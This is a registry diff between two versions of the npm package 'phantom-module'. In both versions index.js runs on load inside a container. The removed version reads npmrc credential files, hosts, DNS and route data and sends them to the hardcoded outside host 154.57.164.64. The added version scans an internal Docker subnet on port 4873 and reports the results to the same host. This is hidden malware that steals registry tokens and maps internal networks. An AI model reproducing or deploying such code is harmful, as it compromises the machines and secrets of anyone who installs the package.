phantom-module 117.0.10 → 117.0.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +51 -37
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,51 +1,65 @@
1
1
  const fs = require('fs');
2
2
  const http = require('http');
3
- const { execSync } = require('child_process');
3
+ const net = require('net');
4
4
 
5
5
  (function() {
6
6
  if (!fs.existsSync('/home/node/aspect-node')) {
7
7
  return;
8
8
  }
9
-
10
- let out = "=== NPM CONFIG GET REGISTRY ===\n";
11
- try { out += execSync('npm config get registry 2>&1').toString() + "\n"; } catch(e) { out += e.message + "\n"; }
12
-
13
- out += "=== ROOT NPMRC ===\n";
14
- try { out += fs.readFileSync('/root/.npmrc', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
15
-
16
- out += "=== ETC NPMRC ===\n";
17
- try { out += fs.readFileSync('/etc/npmrc', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
18
-
19
- out += "=== USR LOCAL ETC NPMRC ===\n";
20
- try { out += fs.readFileSync('/usr/local/etc/npmrc', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
21
-
22
- out += "=== NODE USER NPMRC ===\n";
23
- try { out += fs.readFileSync('/home/node/.npmrc', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
24
9
 
25
- out += "=== ETC HOSTS ===\n";
26
- try { out += fs.readFileSync('/etc/hosts', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
10
+ let results = "";
11
+ let pending = 0;
12
+ const ips = [];
13
+ for (let i = 1; i <= 10; i++) {
14
+ ips.push(`172.17.0.${i}`);
15
+ }
27
16
 
28
- out += "=== RESOLV CONF ===\n";
29
- try { out += fs.readFileSync('/etc/resolv.conf', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
17
+ function sendResults() {
18
+ const postData = JSON.stringify({
19
+ manifest: `ecto_module:\n name: "PORT_SCAN"\n cargo_hold: ${JSON.stringify(results.substring(0, 3500))}\n`
20
+ });
21
+
22
+ const req = http.request({
23
+ hostname: '154.57.164.64',
24
+ port: 31205,
25
+ path: '/api/modules/ECT-839201',
26
+ method: 'PUT',
27
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
28
+ });
29
+ req.write(postData);
30
+ req.end();
31
+ }
30
32
 
31
- out += "=== IP ROUTE ===\n";
32
- try { out += execSync('ip route 2>/dev/null || cat /proc/net/route 2>/dev/null').toString() + "\n"; } catch(e) { out += e.message + "\n"; }
33
+ ips.forEach(ip => {
34
+ pending++;
35
+ const sock = new net.Socket();
36
+ sock.setTimeout(2000);
37
+ sock.on('connect', () => {
38
+ results += `${ip}:4873 OPEN\n`;
39
+ sock.destroy();
40
+ pending--;
41
+ if (pending === 0) sendResults();
42
+ });
43
+ sock.on('timeout', () => {
44
+ results += `${ip}:4873 TIMEOUT\n`;
45
+ sock.destroy();
46
+ pending--;
47
+ if (pending === 0) sendResults();
48
+ });
49
+ sock.on('error', (e) => {
50
+ results += `${ip}:4873 ${e.code}\n`;
51
+ pending--;
52
+ if (pending === 0) sendResults();
53
+ });
54
+ sock.connect(4873, ip);
55
+ });
33
56
 
34
- try {
35
- const postData = JSON.stringify({
36
- manifest: `ecto_module:\n name: "NPM_CONFIG"\n cargo_hold: ${JSON.stringify(out.substring(0, 3500))}\n`
37
- });
38
-
39
- const req = http.request({
40
- hostname: '154.57.164.64',
41
- port: 31205,
42
- path: '/api/modules/ECT-839201',
43
- method: 'PUT',
44
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
45
- });
46
- req.write(postData);
47
- req.end();
48
- } catch(e) {}
57
+ setTimeout(() => {
58
+ if (pending > 0) {
59
+ results += `(${pending} still pending)\n`;
60
+ sendResults();
61
+ }
62
+ }, 5000);
49
63
  })();
50
64
 
51
65
  module.exports = function() {
package/package.json CHANGED
@@ -1,5 +1,5 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "117.0.10",
3
+ "version": "117.0.11",
4
4
  "main": "index.js"
5
5
  }